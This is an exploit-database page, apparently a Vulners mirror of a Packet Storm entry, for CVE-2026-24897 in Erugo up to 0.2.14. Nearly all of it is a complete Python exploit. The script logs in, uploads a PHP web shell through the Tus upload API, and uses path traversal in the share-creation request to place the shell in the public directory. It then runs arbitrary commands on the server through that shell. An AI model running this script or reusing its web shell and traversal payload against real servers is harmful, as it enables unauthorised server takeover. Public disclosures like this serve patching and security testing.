Lucene search
+L

📄 Erugo 0.2.14 Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by Abdul MoizType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 73 Views

Erugo version up to 0.2.14 suffers authenticated remote code execution.

Related
Code
# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
    # Date: 2026-02-02
    # Exploit Author: Abdul Moiz
    # Vendor Homepage: https://github.com/ErugoOSS/Erugo
    # Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
    # Version: <= 0.2.14
    # Tested on: Linux (Docker)
    # CVE: CVE-2026-24897
    
    import requests
    import json
    import sys
    import time
    import base64
    import argparse
    import random
    import string
    import warnings
    from datetime import datetime, timedelta, timezone
    
    # Disable SSL & Deprecation Warnings for clean output
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=DeprecationWarning) 
    
    class ErugoExploit:
        def __init__(self, target, username, password):
            self.target = target.rstrip("/")
            self.username = username
            self.password = password
            self.session = requests.Session()
            
            # Standard Headers
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Exploit-DB)",
                "Accept": "application/json",
                "Tus-Resumable": "1.0.0"
            })
    
            # Generate a random 8-char filename to prevent collisions
            rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            self.shell_name = f"{rand_str}.php"
            self.shell_content = '<?php system($_GET["cmd"]); ?>'
    
        def get_csrf(self):
            """Initialize session cookies"""
            print("[*] Initializing session...")
            try:
                self.session.get(f"{self.target}/login", verify=False, timeout=10)
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                sys.exit(1)
    
        def login(self):
            print(f"[*] Authenticating as {self.username}...")
            url = f"{self.target}/api/auth/login"
            data = {"email": self.username, "password": self.password}
            
            try:
                r = self.session.post(url, json=data, verify=False, timeout=10)
                if r.status_code == 200:
                    token = r.json().get("data", {}).get("access_token")
                    if token:
                        self.session.headers.update({"Authorization": f"Bearer {token}"})
                        print("[+] Login Successful.")
                        return True
            except Exception as e:
                pass
                
            print("[-] Login Failed. Check credentials.")
            sys.exit(1)
    
        def upload_payload(self):
            print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
            
            # 1. Tus Creation (POST)
            post_url = f"{self.target}/files/"
            
            # Base64 Encode metadata
            filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
            filetype_b64 = base64.b64encode(b"application/x-php").decode()
            
            headers = {
                "Upload-Length": str(len(self.shell_content)),
                "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
            }
            
            try:
                r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
                if r.status_code != 201:
                    print(f"[-] Tus creation failed. Status: {r.status_code}")
                    sys.exit(1)
                    
                location = r.headers.get("Location")
                file_id = location.split("/")[-1]
                
                # 2. Tus Data Transfer (PATCH)
                patch_headers = {
                    "Content-Type": "application/offset+octet-stream",
                    "Upload-Offset": "0"
                }
                
                r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
                
                if r.status_code == 204:
                    print(f"[+] Payload uploaded. ID: {file_id}")
                    return file_id
                else:
                    print(f"[-] Data upload failed. Status: {r.status_code}")
                    sys.exit(1)
                    
            except Exception as e:
                print(f"[-] Upload error: {e}")
                sys.exit(1)
    
        def trigger_path_traversal(self, file_id):
            print("[*] Creating malicious share...")
            url = f"{self.target}/api/uploads/create-share-from-uploads"
            
            # Fix Date Warning: Use timezone-aware UTC
            tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
            expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")
    
            payload = {
                "upload_id": "exploit", 
                "name": "exploit_share",
                "recipients": [],
                "uploadIds": [file_id],
                "filePaths": {
                     # VULNERABILITY: Path Traversal
                     file_id: f"../../../../../public/{self.shell_name}"
                },
                "expiry_date": expiry,
                "password": "", 
                "password_confirm": ""
            }
            
            try:
                r = self.session.post(url, json=payload, verify=False, timeout=10)
                if r.status_code not in [200, 201]:
                    print(f"[-] Share creation failed. Status: {r.status_code}")
                    print(f"    Response: {r.text}")
                    sys.exit(1)
                print("[+] Malicious share created.")
            except Exception as e:
                print(f"[-] Error creating share: {e}")
                sys.exit(1)
    
        def execute_command(self, cmd):
            shell_url = f"{self.target}/{self.shell_name}"
            print(f"[*] Executing command: '{cmd}' at {shell_url}")
            
            time.sleep(1) # Wait for filesystem sync
            
            try:
                r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
                
                if r.status_code == 200:
                    print("\n" + "="*50)
                    print(f"COMMAND OUTPUT:")
                    print(r.text.strip())
                    print("="*50 + "\n")
                else:
                    print(f"[-] Command failed. Status: {r.status_code}")
            except Exception as e:
                print(f"[-] Execution error: {e}")
    
    def main():
        parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
        parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
        parser.add_argument('-u', '--username', required=True, help='User email')
        parser.add_argument('-p', '--password', required=True, help='User password')
        parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
        
        args = parser.parse_args()
        
        exploit = ErugoExploit(args.target, args.username, args.password)
        
        exploit.get_csrf()
        exploit.login()
        fid = exploit.upload_payload()
        exploit.trigger_path_traversal(fid)
        exploit.execute_command(args.command)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.18.8 - 10
EPSS0.03008
SSVC
73